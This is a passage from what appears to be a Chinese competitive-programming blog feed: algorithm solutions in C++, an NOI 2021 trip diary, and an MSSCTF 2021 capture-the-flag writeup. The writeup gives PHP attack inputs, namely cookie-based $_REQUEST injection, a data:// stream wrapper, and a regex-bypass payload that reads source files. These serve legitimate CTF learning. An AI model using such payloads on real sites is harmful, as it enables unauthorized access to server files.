&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;拓展&lt;/h2&gt;
&lt;p&gt;对于每天有 $m$ 只羊而不是 $3$ 只的情况。&lt;/p&gt;
&lt;p&gt;显然可以 $O(nm)$&lt;/p&gt;
&lt;h2&gt;Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/*
 * e.cpp
 * Copyright (C) 2021 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const int N = 3e6 + 1e5;
const int mod = 1e9 + 7;

struct ModInt {/*{{{*/
    int cur;
    ModInt( int _cur = 0 ) { cur = ( ( ( _cur % mod ) + mod ) % mod ); }

    inline ModInt operator+ ( const ModInt &amp;amp;b ) const { return ( cur + b.cur ) % mod; }
    inline ModInt operator- ( const ModInt &amp;amp;b ) const { return ( ( ( cur - b.cur ) % mod ) + mod ) % mod; }
    inline ModInt operator* ( const ModInt &amp;amp;b ) const { return ( 1LL * cur * b.cur ) % mod; }
    inline ModInt operator/ ( const ModInt &amp;amp;b ) const { return ( 1LL * cur * pow( b, mod - 2 ).cur ) % mod; }

    inline void operator+= ( const ModInt &amp;amp;b ) { (*this) = (*this) + b; }
    inline void operator-= ( const ModInt &amp;amp;b ) { (*this) = (*this) - b; }
    inline void operator*= ( const ModInt &amp;amp;b ) { (*this) = (*this) * b; }
    inline void operator/= ( const ModInt &amp;amp;b ) { (*this) = (*this) / b; }

    inline void output( const char end = &apos;\n&apos; ) { printf( &quot;%d%c&quot;, cur, end ); }
};/*}}}*/

ModInt fac[N], rfac[N], dp[N][3];

ModInt choose( int n, int m ) {
    if( n &amp;lt; m )
        return 0;
    return fac[n] * rfac[m] * rfac[ n - m ];
}
void init( int n ) {
    fac[0] = 1;
    for( int i = 1; i &amp;lt;= n; i ++ )
        fac[i] = fac[ i - 1 ] * i;
    rfac[n] = (ModInt)1 / fac[n];
    for( int i = n - 1; i &amp;gt;= 0; i -- )
        rfac[i] = rfac[ i + 1 ] * ( i + 1 );
}

void get_dp( int n ) {
    int n3 = 3 * n;
    dp[0][0] = dp[0][1] = dp[0][2] = n;
    ModInt inv_3 = (ModInt)1 / 3;
    for( int i = 1; i &amp;lt;= n3; i ++ ) {
        ModInt sum = choose( n3, i + 1 );
        dp[i][0] = ( sum - dp[ i - 1 ][0] * (ModInt)2 - dp[ i - 1 ][1] ) * inv_3;
        dp[i][1] = dp[i][0] + dp[ i - 1 ][0];
        dp[i][2] = dp[i][1] + dp[ i - 1 ][1];
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
    int n, q;
    n = read&amp;lt;int&amp;gt;(); q = read&amp;lt;int&amp;gt;();
    init( 3 * n ); get_dp(n);
    while( q -- ) {
        int x = read&amp;lt;int&amp;gt;();
        ( dp[x][0] + choose( 3 * n, x ) ).output();
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>NOI 2021 游记</title><link>https://blog.woshiluo.com/posts/2021/07/noi-2021-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/07/noi-2021-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Sat, 31 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;为了适应传统的 Day1 Day2 定义，本文中 Day 1 为 2021/07/26，Day1.5 为一个地球日。&lt;/p&gt;
&lt;h2&gt;0 Day -3&lt;/h2&gt;
&lt;p&gt;正睿提供了一场信心赛，打开发现是大家都做过的题目，便回去看各自之前做过的题目了。&lt;/p&gt;
&lt;p&gt;中午去忆九家吃的饭，恍惚间发现是可能最后一顿在忆九家吃饭，心情竟有点沉重。怀着敬重的心情吃完了这顿饭。&lt;/p&gt;
&lt;p&gt;下午则是看看题目顺便唆使还在新疆的选手快跑，结果催着催着 CCF 突然发通知要求 07/23 到校。&lt;/p&gt;
&lt;p&gt;走之前大家都拍了几张照&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/07/IMG_20210722_172840-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 Day -2&lt;/h2&gt;
&lt;p&gt;早上坐了许久地铁，到了长沙南。本来希望拍一下站牌，然后喜闻乐见的在错误的出站口出来了……
懒得绕圈了，就直接进站了。&lt;/p&gt;
&lt;p&gt;进候车厅后去买了瓶茶颜，喝完刚好开始检票。进去一看觉得是 CRH3C？抢铁真有你的。&lt;/p&gt;
&lt;p&gt;上车听说去过南京的人被遣返了，心里不由得害怕。写了阵代码，又听说被安排到余姚本部了，才得以安心。&lt;/p&gt;
&lt;p&gt;一下车发现几乎整个湖南省队都在这次列车上，于是志愿者都去迎接湖南省队。去找志愿者问，「你是新疆的？那去跟到那路湖南人后面。」。&lt;/p&gt;
&lt;p&gt;到达余姚后去问其他人什么时候到，然后去门口等人。等了 1h 等到了兵二的。一起去吃了晚饭。吃完发现一中的人还没有来，于是拉上兵二的人一起等。等到了他们两位食堂都快没饭了。&lt;/p&gt;
&lt;p&gt;晚上大家聊了许久的天。&lt;/p&gt;
&lt;h2&gt;2 Day -1&lt;/h2&gt;
&lt;p&gt;台风「烟花」还是来了。&lt;/p&gt;
&lt;p&gt;经过新疆省队全体人员投票，得到绝对多数的结果 -- 「冲去食堂！」。于是大家冒着雨到了食堂吃早饭。&lt;/p&gt;
&lt;p&gt;吃完回去换了套干衣服，然后开始复习笔试。中午吃饭时听说笔试移到今天，十分害怕。然后在从食堂回到宿舍的路上成功收到了要笔试的消息。&lt;/p&gt;
&lt;p&gt;回去复习一下开始睡大觉。到了考场打开测试题目，&lt;code&gt;-std=c++11 -lm -O2&lt;/code&gt; 不错，该有的都有了。&lt;/p&gt;
&lt;p&gt;T1 一眼过去只会 50pts，有点慌。接着笔试开始了。&lt;/p&gt;
&lt;p&gt;「选手丢失密码条会 _ 」这是啥？你笔试题库有吗？印象里 19 年的时候是 -5pts，希望没改。&lt;/p&gt;
&lt;p&gt;检查了一万遍后终于结束了，看起来没记错。不想看题了，跑路。&lt;/p&gt;
&lt;p&gt;王宏通知说大概率是正常时期举办 Day1 Day2，但是不排除因为电力原因推迟 Day1。总算给了个定心丸。&lt;/p&gt;
&lt;p&gt;出来一问发现是去年原题，又看了眼数据范围 $k \leq 200$，好，我是瞎子。考场我一定要做出 Day1 T1（&lt;code&gt;flag1&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;回去讨论一下，大家最多也就丢 2pts，看起来没有人出大事。&lt;/p&gt;
&lt;p&gt;晚上一群人又在聊天。&lt;/p&gt;
&lt;h2&gt;3 Day 0&lt;/h2&gt;
&lt;p&gt;今天是理论上 Day 0，也就是开幕式。但是开幕式没了，组委会就提出了一个比较离谱的规划 -- 「看东京奥运会开幕式」。
于是我们理所当然没去。&lt;/p&gt;
&lt;p&gt;上午试图写了点板子，然而宿舍根本没有桌子，写了一会儿便觉得脖子酸疼，于是决定躺平。
看他们在写树剖，总感觉不一定能考？（&lt;code&gt;flag2&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;下午就变成聊天回了。&lt;/p&gt;
&lt;h2&gt;4 Day 1&lt;/h2&gt;
&lt;p&gt;根据通知，我们需要在 08:30 时在体育场待命。到场后通知 09:00 开始比赛，还行。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先开 T1，注意到 $n^2$ 的暴力有手就行，考虑特殊性质。一条连很显然，写个 $\log$ 数据结构就行，性质 $B$ 则就相对复杂。
注意到我们对于每一次的修改操作可以给边和点都赋值，那么一条边是重边当前仅当：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;边权非 0。&lt;/li&gt;
&lt;li&gt;边权大于其所链接的两个点的点权。 很快发现这个东西可以用树链剖分维护。那么如果查询的是任意两点呢？注意到我们查询的东西是具有可并性的，多标记线段树即可。
于是写完拍上一看表发现过了 4h。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;同时看 T2 T3，发现 T2 有很可观的暴力分，而 T3 则是又一些比较难打的 $n^2$ 暴力。&lt;/li&gt;
&lt;li&gt;先打了 T2 的 $k=2$，随便手造了个样例过了就没管了。&lt;/li&gt;
&lt;li&gt;然后开始敲 T3，写到一半发现只有 10min 了，检查一下就跑了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;中午吃饭讨论的时候发现 T2 真的是 LGV 引理，看起来学习线性代数势在必得了。&lt;/p&gt;
&lt;p&gt;下午躺了会儿去看复评，$95+0+0$，看起来 T2 暴力 boom 了。T1 看了一下最后一个点跑了 1.1s，被卡常了，难受。&lt;/p&gt;
&lt;p&gt;交流情报得知克拉玛依老哥 $50+50+36$，看起来是基础暴力拿满了，太强了。&lt;/p&gt;
&lt;h2&gt;5 Day 1.5&lt;/h2&gt;
&lt;p&gt;余姚被淹了，于是河姆渡遗址是去不了了。&lt;/p&gt;
&lt;p&gt;一群人在宿舍狼人杀。&lt;/p&gt;
&lt;p&gt;下午本来是打算去 NOI 嘉年华，但是听说队伍长的要死，就决定摸了。&lt;/p&gt;
&lt;h2&gt;6 Day 2&lt;/h2&gt;
&lt;p&gt;早上一起床发现跑肚了，坏欸。&lt;/p&gt;
&lt;p&gt;匆匆忙忙洗漱吃早饭，冲到考场，发现还有 20min。&lt;/p&gt;
&lt;p&gt;开题！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1 什么东西，&lt;code&gt;bitset&lt;/code&gt; $n^2$ 再见&lt;/li&gt;
&lt;li&gt;T2 首先注意到无论什么时候 $gcd(a,b) = 1$ 那么就不用担心通分的问题。
考虑将分数列成矩阵。容易发现满足特殊性质 $A$ 和 $BC$ 的点很容易矩阵乘法乱做，$50pts$ 到手。
似乎可以考虑 Splay 维护矩阵乘法，但是感觉有点玄学，弃了。(&lt;code&gt;flag3&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;T3 再见，$n \leq 1$ 跑路。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;吃饭后去复评。$24+50+12$，不错没有挂分。后来发现 T2 真的可以 Splay 维护，心态崩了。&lt;/p&gt;
&lt;p&gt;回去发现成绩单已经出来了，差 30pts Ag，遗憾 Cu 哩。&lt;/p&gt;
&lt;h2&gt;7 Day 3&lt;/h2&gt;
&lt;p&gt;闭幕式。&lt;/p&gt;
&lt;p&gt;惊问雅礼 4 个 Au 还有一个 rk51，我大受震撼。&lt;/p&gt;
&lt;p&gt;疑似加湿器的东西一直开着，会场真的又湿又热。&lt;/p&gt;
&lt;p&gt;上台的时候看向台下，五味杂陈。&lt;/p&gt;
&lt;p&gt;午饭相比往日则多了不少沉闷。吃饭后去拍照。&lt;/p&gt;
&lt;p&gt;晚饭吃完后去拽上 llt 和 dyf 去散步，终于能有时间浏览这个美丽的学校。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/07/IMG_20210729_185641-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;8 Day 4&lt;/h2&gt;
&lt;p&gt;最后一天。&lt;/p&gt;
&lt;p&gt;早饭，收拾东西，跑路。&lt;/p&gt;
&lt;h2&gt;9 End&lt;/h2&gt;
&lt;p&gt;今年的比赛实在重重压力之下办成的。而因为疫情，我们训练相比较往年多了许多变数。
无论是天天变化的机房管理政策，亦或是疫情带来的迷雾。直到我最后到达雅礼中学，这些问题才渐渐淡出我的视野。&lt;/p&gt;
&lt;p&gt;又一个赛季结束了，又一批人退役了。&lt;/p&gt;
&lt;p&gt;愿退役选手在接下的人生道路上一路顺利，祝我等现役选手在接下来比赛中能有好成绩。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「同じ世界に、立っていたんだ」と
“在同一个世界伫立着”
「同じ未来に、立っているんだ」と
“在同一片未来伫立着” 」&lt;/p&gt;
&lt;p&gt;「Euphoria」by IA&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>MSSCTF 2021 Writeup</title><link>https://blog.woshiluo.com/posts/2021/07/mssctf-2021-writeup/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/07/mssctf-2021-writeup/</guid><pubDate>Sun, 18 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;审核也过了我就顺手发一下&lt;/p&gt;
&lt;p&gt;实际上主要是想吐槽 Web 出题人题目里夹带私货，但是没什么好地方吐槽。&lt;/p&gt;
&lt;p&gt;我当时看 Web1 的时候还不知道这个 &lt;code&gt;HS&lt;/code&gt; 是啥ㄟ&amp;lt;(=▔.▔=)&amp;gt;ㄏ，结果下午打美团杯的时候恍然大悟。&lt;/p&gt;
&lt;p&gt;有一说一，我也挺喜欢 Hanser 的歌的&lt;/p&gt;
&lt;p&gt;以下是正文&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;CRYPTO&lt;/h2&gt;
&lt;h3&gt;OldAffineSignin&lt;/h3&gt;
&lt;p&gt;打开下发文件发现是给定了码表的替换&lt;/p&gt;
&lt;p&gt;反过来映射即可&lt;/p&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;HS.com&lt;/h3&gt;
&lt;p&gt;先 &lt;code&gt;curl -vv&lt;/code&gt; 链接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt; HTTP/1.1 405 Method Not Allowed
&amp;lt; Server: nginx/1.14.2
&amp;lt; Date: Sun, 11 Jul 2021 08:48:44 GMT
&amp;lt; Content-Type: text/html; charset=UTF-8
&amp;lt; Content-Length: 0
&amp;lt; Connection: keep-alive
&amp;lt; Allowed-Request-Method: HS
&amp;lt; X-Powered-By: PHP/8.0.8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到给定了 Request Method，将 Request Method 替换成 &lt;code&gt;HS&lt;/code&gt; 后开始代码审计&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$fake_data = $_GET[&apos;innerspace&apos;];
$data = $_REQUEST[&apos;innerspace&apos;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目要求上面两个变量不相同，注意到 &lt;code&gt;$_REQUEST&lt;/code&gt; 是可以从 Cookies 读入的，所以直接提交即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --cookie &quot;innerspace=mssctf&quot; -X HS url
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;babyphp&lt;/h3&gt;
&lt;p&gt;打开发现是套了三层娃的代码审计&lt;/p&gt;
&lt;p&gt;第一层是很常见的 PHP 弱类型，构造 &lt;code&gt;level1=0x91d&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第二层则是流注入，构造 &lt;code&gt;level2=data:text/plain,mssCTF is interesting!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第三层是绕过正则匹配，但是发现能用的差不多都被扬了，考虑只使用没有参数的函数，构造
&lt;code&gt;level3=show_source(next(array_reverse(scandir(pos(localeconv())))));&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;RE&lt;/h2&gt;
&lt;h3&gt;signin&lt;/h3&gt;
&lt;p&gt;拖进 IDA，F5&lt;/p&gt;
&lt;p&gt;发现是对读入的字符串异或然后和给定值比对&lt;/p&gt;
&lt;p&gt;倒回去即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main()
{
    unsigned long long v4[3]; // [rsp+20h] [rbp-60h]
    char a[90];
    char v5[] = &quot;\n\t_\bqqv$&quot;;
    memset( a, 0, sizeof(a) );

    v4[0] = 0x742D23213C3C6E31;
    v4[1] = 0x44124317282A2B7B;
    v4[2] = 0x530050531E491C10;

    memcpy( a, v4, sizeof(v4) );
    memcpy( a + 24, v5, sizeof(v5) );

//    for( int j = 0; j &amp;lt;= 31; ++j )
//        a[j] = *( ( (char *)v4 ) + j );

    for( int j = 0; j &amp;lt;= 31; j ++ ) {
        a[j] ^= 2u * ( j + 4 );
    }

    printf(&quot;Here is your flag : mssctf{%s}&quot;, a);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MISC&lt;/h2&gt;
&lt;h3&gt;give you flag&lt;/h3&gt;
&lt;p&gt;下载，解压&lt;/p&gt;
&lt;p&gt;发现是 base64，解码，还是，再解码……发现解不了，反转一下，接着解码……&lt;/p&gt;
&lt;p&gt;发现解出一团乱码，反转，再解码……&lt;/p&gt;
&lt;p&gt;得到 flag&lt;/p&gt;
&lt;h2&gt;PPC&lt;/h2&gt;
&lt;h3&gt;sequence&lt;/h3&gt;
&lt;p&gt;注意函数很快会收敛到 $3$。&lt;/p&gt;
&lt;p&gt;暴力计算判断是否收敛即可。&lt;/p&gt;
&lt;h3&gt;2077&lt;/h3&gt;
&lt;p&gt;如果知道每个物品的价值的话就是裸的完全背包，则问题集中在计算每个物品的价值。&lt;/p&gt;
&lt;p&gt;注意到如果构造关系保证 DAG 的话很容易求出每个点的价值，考虑去环。&lt;/p&gt;
&lt;p&gt;发现 $n,m \leq 200$，暴力去环即可。&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>WQS 二分入门 - Codeforces 739E</title><link>https://blog.woshiluo.com/posts/2021/07/wqs-%E4%BA%8C%E5%88%86%E5%85%A5%E9%97%A8-codeforces-739e/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/07/wqs-%E4%BA%8C%E5%88%86%E5%85%A5%E9%97%A8-codeforces-739e/</guid><pubDate>Thu, 01 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 碎碎念&lt;/h2&gt;
&lt;p&gt;实数二分，永远的调不出来(｡◕∀◕｡)&lt;/p&gt;
&lt;p&gt;但是这算法还挺有意思的，故写到博客&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 WQS 二分&lt;/h2&gt;
&lt;h3&gt;1.1 概念&lt;/h3&gt;
&lt;p&gt;一部分题目会有一个限制条件使得本来可以 $O(n)$ 解决问题需要再 $O(nk)$ 的复杂度解决&lt;/p&gt;
&lt;p&gt;这时可以考虑 WQS 二分&lt;/p&gt;
&lt;p&gt;WQS 是解决形如以下的问题：&lt;/p&gt;
&lt;p&gt;存在函数 $f(x)$ 在值域内为凸包，
即保证函数值域内 $\forall a,b,c$ 满足 $a&amp;lt;b&amp;lt;c$， 有 $\frac{f(b)-f(a)}{b-a} &amp;lt;\frac{f(c)-f(b)}{c-b}$&lt;/p&gt;
&lt;p&gt;我们不能快速求出 $f(x)$ ，但我们可以知道 $g(x) = kx + b$ 与 $(x,f(x))$ 有没有交点。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;因为 $f(x)$ 是凸壳，满足斜率单调递减，故 $g(x)$ 与 $(x,f(x))$ 是否相交关于 $k$ 单调，故可以二分求 $k$ 。&lt;/p&gt;
&lt;p&gt;随后是怎么确定 $b$ 的问题，对于函数 $g(x)$ 来说，其截距就是 $f(x) - kx$，令计算 $f(x)-kx$ 的时间复杂度为 $T$&lt;/p&gt;
&lt;p&gt;则这个算法的时间复杂度为 $O(T\log_2n)$($n$ 是 $f$ 值域大小)&lt;/p&gt;
&lt;h3&gt;1.2 做法&lt;/h3&gt;
&lt;p&gt;感性理解则是给定 $n$ 个物品，有权重 $w_i$，选择 $k$ 个，求最大权值。&lt;/p&gt;
&lt;p&gt;容易发现没有 $k$ 的限制很容易在 $O(n)$ 内求出答案。&lt;/p&gt;
&lt;p&gt;注意到如果给每个权重加一个 $x$，则 $x$ 上涨时选择的数量会下降，即构成单调性。&lt;/p&gt;
&lt;p&gt;故可以二分 $x$ 使得此时恰好选择 $k$ 个，此时答案救为我们所求。&lt;/p&gt;
&lt;h2&gt;2 Codeforces 739E&lt;/h2&gt;
&lt;h3&gt;2.1 题意&lt;/h3&gt;
&lt;p&gt;给定两个序列 $p,q$，对于每一位，你有三个选择&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;消耗一个 $a$，答案加 $p_i$&lt;/li&gt;
&lt;li&gt;消耗一个 $b$，答案加 $p_i$&lt;/li&gt;
&lt;li&gt;消耗一个 $a$ 和一个 $b$，答案加 $p_i + q_i - p_iq_i$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;$a,b$ 均有使用上限，求最大答案。&lt;/p&gt;
&lt;h3&gt;2.2 思路&lt;/h3&gt;
&lt;p&gt;容易发现 $dp_{i,j,k}$ 随便做&lt;/p&gt;
&lt;p&gt;容易发现 $j,k$ 两位都是凸壳&lt;/p&gt;
&lt;p&gt;套两层 WQS 二分即可&lt;/p&gt;
&lt;h3&gt;2.3 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * e.cpp
 * Copyright (C) 2021 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

const int N = 2100;
const double eps = 1e-7;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; !isdigit(ch); ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

double p[N], u[N];
int n, limit_a, limit_b;

struct CheckRes { bool right; double val; };

double f[N];
int cnt_a[N], cnt_b[N];
CheckRes check_a( double offset_a, double offset_b ) {
    for( int i = 0; i &amp;lt;= n; i ++ ) {
        f[i] = 0; cnt_a[i] = cnt_b[i] = 0;
    }
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        const double cost_a = p[i] - offset_a, cost_b = u[i] - offset_b;
        f[i] = f[ i - 1 ];
        cnt_a[i] = cnt_a[ i - 1 ]; cnt_b[i] = cnt_b[ i - 1 ];
        if( f[ i - 1 ] + cost_a - f[i] &amp;gt; eps ) {
            f[i] = f[ i - 1 ] + cost_a;
            cnt_a[i] = cnt_a[ i - 1 ] + 1;
            cnt_b[i] = cnt_b[ i - 1 ];
        }
        if( f[ i - 1 ] + cost_b - f[i] &amp;gt; eps ) {
            f[i] = f[ i - 1 ] + cost_b;
            cnt_a[i] = cnt_a[ i - 1 ];
            cnt_b[i] = cnt_b[ i - 1 ] + 1;
        }
        if( f[ i - 1 ] + cost_a + cost_b - u[i] * p[i] - f[i] &amp;gt; eps ) {
            f[i] = f[ i - 1 ] + cost_a + cost_b - u[i] * p[i];
            cnt_a[i] = cnt_a[ i - 1 ] + 1;
            cnt_b[i] = cnt_b[ i - 1 ] + 1;
        }
    }
    return (CheckRes) { cnt_a[n] &amp;gt;= limit_a, f[n] + offset_b * limit_b + offset_a * limit_a };
}

CheckRes check_b( double offset_b ) {
    double left = 0, rig = 1, offset_a = 0;
    while( left + eps &amp;lt;= rig ) {
        double mid = ( left + rig ) / 2.0;
        CheckRes res = check_a( mid, offset_b );

        if( res.right ) {
            offset_a = mid;
            left = mid + eps;
        }
        else
            rig = mid - eps;
    }

    check_a( offset_a, offset_b );

    return (CheckRes) { cnt_b[n] &amp;gt;= limit_b, f[n] + offset_b * limit_b + offset_a * limit_a };
}

int main() {
#ifdef woshiluo
    freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d%d%d&quot;, &amp;amp;n, &amp;amp;limit_a, &amp;amp;limit_b );
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        scanf( &quot;%lf&quot;, &amp;amp;p[i] );
    }
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        scanf( &quot;%lf&quot;, &amp;amp;u[i] );
    }

    double left = 0, rig = 1, offset_b = 0;
    while( left + eps &amp;lt;= rig ) {
        double mid = ( left + rig ) / 2.0;
        CheckRes res = check_b(mid);

        if( res.right ) {
            offset_b = mid;
            left = mid + eps;
        }
        else
            rig = mid - eps;
    }

    printf( &quot;%.4lf&quot;, check_b(offset_b).val );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 参考资料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://taodaling.github.io/blog/2020/07/31/WQS%E4%BA%8C%E5%88%86/&quot;&gt;Wqs二分 | Daltao&apos;s blog!&lt;/a&gt; &lt;a href=&quot;https://archive.is/5WpMj&quot;&gt;Archive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pufanyi.gitee.io/%E7%94%9F%E6%88%90%E6%A0%91%E5%85%A5%E9%97%A8/Train2012-sol-wqs.pdf&quot;&gt;Train2012-sol-wqs.pdf&lt;/a&gt; &lt;a href=&quot;https://web.archive.org/web/20210701125446/https://pufanyi.gitee.io/%E7%94%9F%E6%88%90%E6%A0%91%E5%85%A5%E9%97%A8/Train2012-sol-wqs.pdf&quot;&gt;Archive&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Luogu P1552 「APIO2012」派遣</title><link>https://blog.woshiluo.com/posts/2021/06/luogu-p1552-apio2012%E6%B4%BE%E9%81%A3/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/06/luogu-p1552-apio2012%E6%B4%BE%E9%81%A3/</guid><pubDate>Sat, 05 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1 题目大意&lt;/h2&gt;
&lt;p&gt;给定一棵树，每个结点两个权值 a,b 。&lt;/p&gt;
&lt;p&gt;令一个合法的方案为一个点 u 和一个点集 v，满足以下要求&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\forall x \in v$ ，满足 x 是 u 子树中的结点（包括 u 本身）&lt;/li&gt;
&lt;li&gt;$\sum b_{v_i} \leq m$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;令一个方案的贡献为 $a_u \cdot |b|$&lt;/p&gt;
&lt;p&gt;求最大贡献&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 思路&lt;/h2&gt;
&lt;p&gt;注意到一个点的最优方案显然是其子树中尽可能选择小的。&lt;/p&gt;
&lt;p&gt;发现问题可以合并。如果完成了一个结点所有直接儿子的处理，那么将儿子所选的结点合并到一起然后再选择即可。&lt;/p&gt;
&lt;p&gt;实际上可以考虑维护可并堆和堆中值的和。每次合并完后弹出堆顶直到合法为止。&lt;/p&gt;
&lt;p&gt;注意到每个结点最多被插入一次，删除一次，故复杂度 $O(n\log(n))$&lt;/p&gt;
&lt;h2&gt;3 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;algorithm&amp;gt;

const int N = 1e5 + 1e4;

typedef long long ll;

// Leftist Tree
struct HeapNode {
